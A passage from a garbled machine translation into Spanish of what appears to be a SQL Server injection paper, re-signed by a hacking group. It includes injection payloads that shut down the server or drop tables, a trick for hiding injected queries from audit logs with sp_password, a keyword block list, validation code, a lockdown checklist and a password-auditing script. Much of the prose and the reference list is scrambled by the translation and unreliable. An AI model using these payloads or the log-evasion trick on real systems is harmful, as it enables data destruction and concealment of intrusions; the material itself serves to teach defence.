... cerrará el caso del servidor del SQL, usando solamente 12 caracteres de entrada. Otro ejemplo es

drop table <tablename>

Otro problema con la limitación de longitud de los datos de entrada ocurre si se aplica el límite de la longitud después de que ' se haya escapado ' la secuencia. Si el username fuera limitado (opinión) 16 caracteres, y la contraseña también fuera limitada a 16 caracteres, la combinación siguiente de username/password ejecutaría el comando de la ' parada ' mencionado arriba:

Username: aaaaaaaaaaaaaaa'

Password: '; shutdown--

La razón es que las tentativas del uso ' de escapar ' el solo - cotice en el extremo del username, pero la secuencia entonces se corta brevemente a 16 caracteres, suprimiendo el apóstrofe ' que se escapa '. El beneficio neto es que el campo de la contraseña puede contener un cierto SQL, si comienza con un solo - cotiza, puesto que la query termina encima de parecer esto:

select * from users where username='aaaaaaaaaaaaaaa'' and password='''; shutdown--

Con eficacia, el username en la query se ha convertido

aaaaaaaaaaaaaaa' and password='

Son los funcionamientos del SQL que se arrastran.

[Evasión de la intervención]

El servidor del SQL incluye un interfaz de revisión rico en la familia del sp_traceXXX de las funciones, que permiten la registración de varios acontecimientos en la base de datos. De interés particular aquí están los acontecimientos T-t-sql, que registran todas las declaraciones y ' hornadas del SQL que están preparadas y ejecutadas en el servidor. Si este nivel de la intervención se permite, todas las querys inyectadas del SQL que hemos discutido serán registradas y un administrador experto de la base de datos podrá ver qué ha sucedido. Desafortunadamente, si el atacante añade la secuencia

sp_password

a la declaración Tramitar-Transact-SQL, este mecanismo de la intervención registra el siguiente:

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.

Este comportamiento ocurre en todo el T-t-sql que registra, incluso si el ' sp_password ' ocurre en un comentario. Esto es, o curso, previsto para ocultar las contraseñas del plaintext de usuarios mientras que pasan con sp_password, pero es absolutamente un comportamiento útil para un atacante. Así pues, para ocultar toda la inyección que el atacante necesita añadir simplemente sp_password después ' - - ' de los caracteres del comentario, como esto:

Username: admin'--sp_password

El hecho que un cierto SQL ha funcionado será registrado, solamente la secuencia sí mismo de la query estará convenientemente ausente del registro. [defensas] esta sección discute algunas defensas contra los ataques descritos. Se discute la validación de la entrada, y se proporciona un cierto código de la muestra, después

tratamos ediciones del lockdown del servidor del SQL. [validación de la entrada] la validación entrada puede ser un tema complejo. Típicamente, demasiado poca atención se presta a ella en un proyecto del desarrollo, puesto que la validación overenthusiastic tiende para causar partes de un uso a la rotura, y el problema de la validación de la entrada puede ser difícil de solucionar.

La validación de la entrada tiende para no agregar a la funcionalidad de un uso, y se pasa por alto así generalmente en las acometidas para resolver plazos impuestos. La página 21 el siguiente es una breve discusión de la validación de la entrada, con código de la muestra. Este código de la muestra (por supuesto) no se piensa para ser utilizado directamente en usos, sino que ilustra las estrategias que diferencian absolutamente bien.

Los diversos acercamientos a la validación de datos pueden ser categorizados como sigue:
1) procura dar masajes a datos de modo que se convierta en 2) el rechazo válido entrado que se sabe para ser el malo 3) acepta solamente la entrada que se sabe para ser la buena solución (1) tiene un número de problemas conceptuales; primero, el revelador no está necesariamente enterado de qué constituye ' malos ' datos, porque las nuevas formas de ' malos datos ' se están descubriendo toda la hora. En segundo lugar, el ' masaje ' de los datos puede alterar su longitud, que puede dar lugar a problemas según lo descrito arriba. Finalmente, hay el problema de los efectos second-order que implican la reutilización de datos ya en el sistema. La solución (2) sufre de algunas de las mismas ediciones que (1); la ' mala ' entrada sabida cambia en un cierto plazo, pues las nuevas técnicas del ataque se convierten. La solución (3) es probablemente la mejor de los tres, pero puede ser más dura de poner en ejecucio'n. El mejor acercamiento desde un punto de vista de la seguridad es probablemente combinar acercamientos (2) y (3) - permita solamente la buena entrada, y después busque esa entrada para ' malos ' datos sabidos. Un buen ejemplo de la necesidad para combinar estos dos acercamientos es el problema de apellidos escritos con guión:

Quentin Bassington-Bassington

Debemos permitir guiones en nuestra ' buena ' entrada, pero estamos también enterados que la secuencia del carácter ' - - ' tiene significación al servidor del SQL. Otro problema ocurre cuando combinar el ' masaje ' de datos con la validación del carácter ordena - por ejemplo, si aplicamos un ' filtro ' mal que detecte '--', ' para seleccionar ' y la ' unión ' seguida por un ' masaje ' del filtro que quita solo-cotiza, el atacante podría especificar la entrada como @@version del sel'ect del uni'on - ' - puesto que solo-cotice se quita después de que ' se aplique el mal ' filtro sabido, el atacante puede entremezclar simplemente apóstrofes en sus secuencias para evadir la detección.

Aquí está un cierto código de la validación del ejemplo. Acercamiento 1 - Cotizaciones de la chamusquina del escape

```
function escape( input )
        input = replace(input, "'", "''")
        escape = input
end function
```

Acercamiento 2 - Mala entrada sabida rechazo

```
function validate_string( input )

known_bad = array( "select", "insert", "update", "delete", "drop", "--", "'" )

        validate_string = true
        for i = lbound( known_bad ) to ubound( known_bad )
                if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 )
then
                        validate_string = false
                        exit function
                end if
next
end function
```

Acercamiento 3 - Permita solamente la buena entrada

```
function validatepassword( input )

        good_password_chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456
789"

        validatepassword = true

        for i = 1 to len( input )
                c = mid( input, i, 1 )

                if ( InStr( good_password_chars, c ) = 0 ) then
                        validatepassword = false
                        exit function
                end if
        next

end function
```

[Servidor Lockdown del SQL]

*El punto más importante aquí es que él * es * necesario ' para trabarse abajo ' del servidor del SQL; no es seguro ' fuera de la caja '. Aquí está una breve lista de las cosas a hacer al crear una estructura del servidor del SQL:*

1. Determine los métodos de conexión a la página 23 a. del servidor verifican que solamente las bibliotecas de la red que usted está utilizando están permitidas, usando la ' utilidad de red '

2. verifican existen qué cuentas a. crean las cuentas ' bajo privilegiadas ' para el uso por usos el b. quita cuentas innecesarias la c. se asegura de que todas las cuentas

tengan contraseñas fuertes; funcione una contraseña que revisa la escritura (tal como la que esta' proporcionada como un apéndice a este papel) contra el servidor sobre una base regular

3. verifican existen qué objetos a. que muchos los procedimientos almacenados ampliados se pueden quitar con seguridad. Si se hace esto, considere el quitar del archivo del ' dll ' que contiene el código almacenado extendido del procedimiento. b. Quite todas las bases de datos de la muestra - el ' northwind ' y las ' bases de datos de las publicaciones, por ejemplo.

4. Verifique qué cuentas pueden tener acceso que se opone el a. la cuenta que un uso utiliza tener acceso a la base de datos debe tener solamente los permisos mínimos necesarios para tener acceso a los objetos que necesita utilizar.

5. Verifique el nivel del remiendo del servidor a. allí son varios el desbordamiento del almacenador intermediario [3], [4] y ataques de la secuencia del formato [5] contra el servidor del SQL (descubierto sobre todo por el autor) tan bien como vario otro las ediciones de seguridad ' remendadas '. Es probable que existan más.

6. Verifique qué serán registradas, y qué será hecha con los registros. Una lista de comprobación excelente del lockdown se proporciona en www.sqlsecurity.com [2]. [referencias] [1] desmontaje del uso de la tela con los mensajes de error de ODBC, vulnerabilidades múltiples almacenadas ampliadas servidor almacenadas ampliadas de la secuencia del formato del almacenador intermediario de la vulnerabilidad http://www.atstake.com/research/advisories/2000/a120100-1.txt del procedimiento de la vulnerabilidad http://www.atstake.com/research/advisories/2000/a120100-2.txt [4] Microsoft SQL del procedimiento del servidor 2000 de la lista de comprobación http://www.sqlsecurity.com/checklist.asp [3] SQL de la seguridad del servidor de David Litchfield http://www.nextgenss.com/papers/webappdis.doc [2] SQL 5] [en el apéndice A de la página 24 del servidor http://www.microsoft.com/technet/security/bulletin/MS01-060.asp http://www.atstake.com/research/advisories/2001/a122001-1.txt del SQL - ' SQLCrack ' esta escritura que se agrieta de la contraseña del SQL (escrita por el autor) requiere el acceso a la columna de la ' contraseña ' de master..sysxlogins, y es por lo tanto poco probable de estar de uso a un atacante.

Es, sin embargo, una herramienta extremadamente útil para los administradores de la base de datos que intentan mejorar la calidad de contraseñas en uso en sus bases de datos. Para utilizar la escritura, substituya la trayectoria al archivo de la contraseña en lugar ' c:\temp\passwords.txt ' en lugar de la declaración del ' relleno a granel '. Los archivos de la contraseña se pueden obtener de un número de lugares en la tela; no proveemos comprensivo aquí, sino aquí somos una muestra pequeña (el archivo se debe ahorrar como archivo del texto del MSDOS, con los caracteres de end-of-line de < CR>). La escritura también detectará las cuentas de ' Joe ' - cuentas que tienen la misma contraseña que su username - y las cuentas con contraseñas en blanco.

password
sqlserver
sql
admin

sesame
sa
guest

Aquí está la escritura: (sqlcrack.sql)

```
create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:\temp\passwords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins
        on      (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
                (pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on
sysxlogins.sid=syslogins.sid
                where sysxlogins.password is null and
                        syslogins.isntgroup=0 and
                        syslogins.isntuser=0
drop table tempdb..passwords
```

Si eres Bueno Sobrevivirás,
Pero como eres Lamer, Morirás.

bY *mitr3in*
Disidents Hack Team